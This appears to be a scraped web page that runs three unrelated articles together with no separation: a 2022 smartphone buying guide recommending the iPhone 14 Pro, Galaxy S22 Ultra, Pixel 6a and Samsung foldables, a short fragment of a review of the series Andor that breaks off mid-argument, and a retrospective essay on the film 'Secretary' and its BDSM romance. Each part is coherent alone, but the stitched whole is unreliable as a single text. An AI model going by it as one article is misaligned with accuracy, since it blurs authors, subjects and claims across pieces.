The good news is that in 2022, most phones have at least 802.11ac Wi-Fi and support for one or more types of 5G connectivity. However, if you want the fastest wireless speeds you can get, it’s going to cost you a bit more. For example, on certain networks, mmWave 5G offers up to gigabit download speeds, less latency and better bandwidth. But mmWave 5G also requires more sophisticated (and pricier) modems, which means support for it is often missing from budget and mid-range handsets like the iPhone SE and Pixel 6a.

On the bright side, mmWave 5G isn’t as widely available as other versions of 5G, so depending on where you live and what network you’re on, you may not be missing out on much if you buy a phone that doesn’t support it. It’s a similar situation for Wi-Fi 6 and Wi-Fi 6e, which are available on a number of high-end devices, but harder to find on less expensive handsets. Wi-Fi 6 also requires you have to have a compatible router, so unless you know you need it or have a specific use case in mind, the lack of support for mmWave 5G or Wi-Fi 6E shouldn’t be a dealbreaker when looking for a new phone.

Other features to consider

Because not everyone agrees on what makes an ideal phone, you should think about any other specs that might be extra important for you. Mobile gamers will almost certainly appreciate the 120Hz refresh rates you get on phones like the Galaxy S22 or the iPhone 14 Pro. Alternatively, if long battery life is important, you’ll probably want to go with a larger iPhone or an Android phone with a battery that’s between 4,000 and 5,000 mAh in size. Meanwhile, if you find yourself juggling a lot of devices, it can be really nice to have a phone that supports reverse wireless charging, which on Samsung phones even lets you recharge the company’s Galaxy Watches.

Best iOS smartphone: iPhone 14 Pro

The iPhone 14 Pro Max and 14 Pro standing next to each other on a green surface with their lock screens facing the camera.
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The iPhone 14 Pro features the biggest changes to Apple's flagship line in years. With the new Dynamic Island, the company is finally (sort of) ditching the notch and in its place sits a pill-shaped cutout to house the front cameras for Face ID. In addition to being smaller than before, the island also features software tweak that makes notifications, media playback and ongoing activities look more cohesive.

But it's not just the Dynamic Island that makes the iPhone 14 Pro feel like a notable upgrade. The new Always On Display manages to help you stay on top of your notifications without overly draining battery, while the upcoming Emergency SOS via Satellite lets you explore further with some peace of mind. Those who aren't ready to give up physical SIM cards may be reluctant to go for this year's phones, since they don't have onboard slots and are fully eSIM. But thankfully Apple's setup and conversion process makes switching over painless. With excellent performance, capable cameras and respectable battery life, the iPhone 14 Pro is the best Apple handset money can buy. – Cherlynn Low, Deputy Editor

Buy iPhone 14 Pro at Walmart starting at $ 999

Best Android smartphone: Samsung Galaxy S22 Ultra

The Samsung Galaxy S22 Ultra
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As Samsung’s latest flagship phone and the spiritual successor to the Galaxy Note line, the Galaxy S22 Ultra has every feature power users and more mainstream shoppers could ever need. Its 10x optical zoom camera offers the longest reach you can get on a phone today, while its huge 6.8-inch 120Hz OLED screen makes everything look smooth and colorful. It also has IP68 dust and water resistance, not to mention durable Gorilla Glass Victus+ panels in front and back. And of course, there’s the built-in S-Pen, whose latency has dropped to just 2.8 milliseconds for 2022. This makes drawing, sketching and anything else you do with its stylus feel incredibly responsive. And, thanks to expanded support, Samsung’s Galaxy S will get at least four years of Android updates, which is longer than what Google has pledged for the Pixel 6. – Sam Rutherford, Senior Reporter

Buy Galaxy S22 Ultra at Samsung starting at $ 1,199

Best midrange Android smartphone: Google Pixel 6a

A Pixel 6a lying face up on a wooden surface, and a white Pixel 6a laying next to it.
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If all you want is a simple, affordable and easy-to-use phone without any unnecessary bells and whistles, the Pixel 6a is the perfect choice. Starting at $ 449, the 6a features a colorful 6.1-inch OLED display, while Google’s excellent photo processing produces pics that match what you get from phones that cost twice as much. It particularly excels with nighttime photography thanks in part to Night Sight, a feature that brightens up dim environments and brings out more detail overall.

Google upgraded the Pixel 6a's design to look more like its flagship phones, plus you also get handy IP67 dust and water resistance, too. There's also an under-display fingerprint reader for another layer of security. As far as specs go, you're getting Google's Tensor chipset, 6GB of RAM and 128GB of storage, which all translates into excellent performance. And, unlike a lot of other midrange phones, the Pixel 6a enjoys strong software support, with Google promising regular software updates for the next five years. – S.R.

Buy Pixel 6a at Amazon – $ 449

Best midrange iPhone: iPhone SE (2022)

The iPhone SE (2022) held in a hand.
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With an A15 Bionic chip and iOS 15, the latest iPhone SE is possibly the most powerful phone you can find for under $ 450. Sure, it has a dated design, but some folks might actually appreciate the retro look. The best thing about the iPhone SE is its home button: It’s the only new iPhone to have Touch ID. And though it only has a single rear camera, the SE still takes solid pictures. If you can get over the small, low-res screen, the iPhone SE will serve you well. It’s also really the only sub-$ 500 option for iOS diehards.

If you’re open to considering Android and want to spend less than $ 400, consider something from Samsung’s Galaxy A-series or the OnePlus Nord N20. Those looking to spend even less can check out the Moto G Power – just be prepared to compromise on features like display and cameras at lower prices. – C.L.

Buy iPhone SE at Apple starting at $ 429

Best camera on a smartphone: Pixel 6 Pro

The Google Pixel 6 Pro held in mid-air with its screen facing the camera.
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It’s hard for me to leave the house without the Pixel 6 Pro. As long as there’s a chance I might want to take photos, I make sure I’ve brought Google’s latest flagship. The Pixel 6 Pro’s triple rear camera system is versatile enough to capture anything from the largest group shots or wide landscapes to faraway animals (like that time I thought I spotted a whale when staring at a distant blob from Acadia National Park). Google’s Night Sight still outperforms the competition when taking pictures in low light, too, and its computational photography delivers clear, vivid photos.

Of course, Samsung and Apple’s flagships are closing the gap, and these days there is little difference between the photos they deliver. Some people might even prefer the warmer tint on Galaxy devices. But special features like Google’s Magic Eraser and Motion effects make the Pixel 6 Pro the most fun to shoot with. Plus, I love the additional tools you get on Pixels, like Call Screening, Material You theming and Live Captions, among others. The Pixel 6 Pro has some small flaws, including a quirky in-display fingerprint sensor and some early software bugs. But if you’re willing to put up with those issues, in exchange you’ll get the best camera experience around. – C.L.

Buy Pixel 6 Pro at Amazon – $ 899

Best foldable for multitasking: Samsung Galaxy Z Fold 4

While its design hasn't changed a ton, the new Galaxy Z Fold 4 has a number of upgrades including better battery life, improved cameras and a brighter main display.
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For people who want a big, powerful phone that adapts to their needs, Samsung’s Galaxy Z Fold 4 is in a class of its own. On this year’s model, Samsung has refined the Fold’s dimensions, adding a sleeker hinge and a slightly wider cover screen that makes it easier to type and use one-handed. Inside, the phone’s 7.6-inch flexible main display is brighter too (upwards of 1000 nits), and thanks to a redesigned taskbar that lives along the bottom of the screen, multitasking and launching app pairs is easier than ever. Other improvements include a 3x zoom lens in back and a new 50MP main sensor. And while the 4MP under-display-cam hidden beneath its main display isn’t good for much more than video calls, its new sub-pixel matrix helps camouflage its existence even better.

Unfortunately, the Z Fold 4 is still sorta bulky, and at $ 1,800, it’s definitely not cheap. But if you’ve dreamed about a phone that can transform into a tablet at a moment's notice while also delivering multitasking features unmatched by any other phone, this thing is the ultimate choice for mobile productivity. — S.R.

Buy Z Fold 4 at Samsung – $ 1,800

Best foldable for selfies: Samsung Galaxy Z Flip 4

The Galaxy Z Flip 4 closed and propped up along its top edge with its cover display and external cameras facing out.
Cherlynn Low / Engadget

While the Z Flip 4 doesn’t offer the same kind of screen space as its bigger and more expensive sibling, it’s way more compact and thanks to its size and hinge, it’s great at propping itself up on a table for shooting selfies. On top of that, Samsung has also increased the size of its exterior screen so that it’s easier to frame up pics without opening the phone. And with the addition of a new Snapdragon 8+ Gen 1 chip, this year’s model offers significantly better battery life than before. Meanwhile, for gadget lovers that also appreciate a bit of style, the Bespoke Edition of the Z Flip 4 lets you customize the color of the phone's exterior panels, so you can make sure your foldable doesn’t look like anyone else’s. — S.R.

Buy Z Flip 4 at Samsung – $ 1,000

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At its worst, Star Wars: Andor is a sanded-off, PG-13 version of some of the best TV dramas of the past decade. It’s easy to see traces of The Wire, Lost, and Breaking Bad in this story of Star Wars-adjacent scum and villainy. However, as you might suspect, such nuanced TV inspirations can only go so far in a franchise that regularly features chirping droids and action figure tie-ins.

At its best, though, Andor plays out like no other Star Wars film or TV entry to date, and it bodes well for the series’ post-Skywalker future. Andor flexes its adult-ish aspirations to better resemble the gritty content that has made series sidebars like comics, novels, and video games beloved. While its momentum takes a little too long to kick in, enough quality coalesces by the end of the series’ first 100 minutes to make it a worthy recommendation for fans of compelling sci-fi television, let alone Star Wars loyalists.

At Disney+, an initial release of three episodes says a lot

Trouble seems to find Cassian Andor a lot in his series.

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This series “follows” the events of Rogue One: A Star Wars Story the only way Lucasfilm really could: by building a prequel out of its likable anti-hero Cassian Andor. (Spoiler alert: If this series had been a direct timeline sequel to that film, it would, uh, include far fewer characters.) Since his name’s in the title, Andor features as the star, and the events rewind to both his biggest adult and childhood adventures.

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Hollywood has never had a healthy relationship with sex. Torn between leering salaciousness and code-mandated puritanism, the end results on-screen have often been messy, thematically conflicted, and deeply unsexy. Much has been made about the state of on-screen sensuality in 2022 and the blockbuster age, where ultra-muscular and fit bodies are fetishized yet entirely divorced from sex itself. As one viral article published last year in Blood Knife out it, “everyone is beautiful and no one is horny.”

Things are improving in small ways, mostly on streaming thanks to shows like “Bridgerton” that undeniably f***, but everything remains pretty limited in terms of what goes on between the sheets. Kink of any kind is still a no-go topic for screens big and small. While the highly profitable adaptation of the much-derided “Fifty Shades” trilogy was sold as a journey into the dark pleasure of BDSM, the end results were decidedly vanilla and not all that erotic. Besides, 15 years prior, another movie beat it at its own game.

Released in 2002, “Secretary” brought sadomasochism to the forefront in a uniquely quirky romantic drama that blew the dust off the entire rom-com genre. Directed by Steven Shainberg and adapted very loosely from a Mary Gaitskill short story by Erin Cressida Wilson, “Secretary” delved into the curiously well-functioning relationship between Lee Holloway (Maggie Gyllenhaal), an awkward misfit who becomes the secretary and submissive of E. Edward Grey, an eccentric lawyer confused by his own dominant desires (he is, of course, played by James Spader, and yes, people have long wondered if “Fifty Shades” writer E.L. James borrowed the name Grey for her own purposes.) Opening with a scene where Lee, strutting through the office and completing her mundane duties while wearing an arm bar that keeps her spread out like a cross, the film announces its intentions loud and proud.

Maggie Gyllenhaal And James Spader Have Chemistry To Burn

Maggie Gyllenhaal had her much-deserved breakout with “Secretary,” establishing her unique brand of knowing charm that so many films have failed to utilize effectively over the decades. Lee begins as a mouse of a woman, fresh from a mental hospital following an incident of self-harm that went wrong and living with her warring parents. She seeks employment for the very first time as a means of independence, even as her mother waits for her in the car all day to drive her back home. She seems delicate, ready to break once more, but Gyllenhaal imbues Lee with a quiet determination that soon blossoms into true confidence. It’s a Cinderella story with a touch of “Pygmalion,” if Henry Higgins enjoyed administrating a thorough spanking to Eliza Doolittle.

The case could easily be made that James Spader is the most unfettered representation of pure sexual depravity that American cinema has had over the past 30-plus years. “Secretary” feels like the happy ending to the unofficial deviant cinematic trilogy that includes “Sex, Lies, and Videotape” and “Crash.” While both of those films carry a far darker moral center, “Secretary” feels almost quaint by comparison. It’s a reminder of Hollywood’s squeamishness towards sex that “Secretary,” which doesn’t actually show that much sex, was considered so wholly raunchy when it premiered. The most striking Spader performances utilize his aura of worldly knowledge, that palpable sense that he truly has seen and done everything there is to experience. A blushing ingenue he is not!

Here, Spader is almost a Hugh Grant type, a rom-com hero with a slight bumbling edge (although Spader plays this nervousness with his typical combination of smarm and charm that has worked so well for close to four decades.) Grey isn’t always at ease with his desires and Spader’s skittishness brings his nervousness to the forefront. For an actor so good at embodying superego, it’s remarkably effective when he squirms to reveal a kind of naivety to Grey’s conundrum.

Their romance is, fittingly, a power play, but not one as straightforward as the dominant/submissive dynamic would suggest. Lee starts the story almost crushed by her own mental and familial struggles but these are not what make her an ideal sub for Grey. When she blooms into a confident and sensually assured woman, it makes Grey, who feels far less secure in his desires, feel off-center. She pursues him relentlessly in the third act, eager to prove to him that, yes, they can be a loving and committed couple who just so happen to enjoy a kinky dynamic 24/7. BDSM, typically portrayed on-screen as either a freakish spectacle or cartoonish self-parody, is something to be taken seriously here. Not too seriously, of course. “Secretary” has fun with Lee and Grey’s games, such as when he saddles her up like a horse atop his desk. Gyllenhaal and Spader have chemistry to burn, a kind of spark that is impossible to recreate without the right actors in place. It’s tough to imagine anyone else as Lee and Grey, let alone any 2022 movie star.

What Secretary Gets Right (And Wrong)

None of this is to say that “Secretary” is some glowing representation of BDSM or should be taken as gospel. While it’s leaps and bounds ahead of “Fifty Shades of Grey” in terms of the central dynamic, it’s still ultimately a fantasy that doesn’t always focus on laying out the ground rules for a safe and healthy dom/sub romance. You can certainly have a problem with that — and many do — although fans tend to be kinder to “Secretary” than E.L. James’ “Twilight” fan fiction because its fantasies have a sense of humor about them (such as when Lee serenely counts out the peas Edward has told her she can eat while her family look on in bemusement).

“Secretary” also succeeds over “Fifty Shades” because it’s not interested in justifying the characters’ sexual proclivities as acts of trauma that must be explained. Lee finds solace in submission as a way to cope with her mental illness but it’s a world away from the “Fifty Shades” series portraying a man’s dominant desires as the side effect of sexual abuse and a negligent mother. It’s not something to be “cured” to make way for missionary sex between man and wife with a baby in the next room. It’s not an either/or decision: you can have both. Lee and Grey keep up their dynamic and that’s the happy ending: two souls sharing a mutually beneficial love that doesn’t fit into the smothering restrictions of traditional marriage. A happy-ever-after is whatever best suits the central couple, a reflection of the ways that they have found space in one another’s lives for a future of bliss. Would that “Fifty Shades” had learned that lesson.

Twenty years later, “Secretary” still feels vibrant, sexy, romantic, and cut from a very different cloth. We’re seeing more on-screen sensuality nowadays but progress remains maddeningly incremental. You can’t help but wonder what’s taking them so long when “Secretary” made it all look so easy.

Read this next: 20 Underrated Rom Coms You Need To Watch

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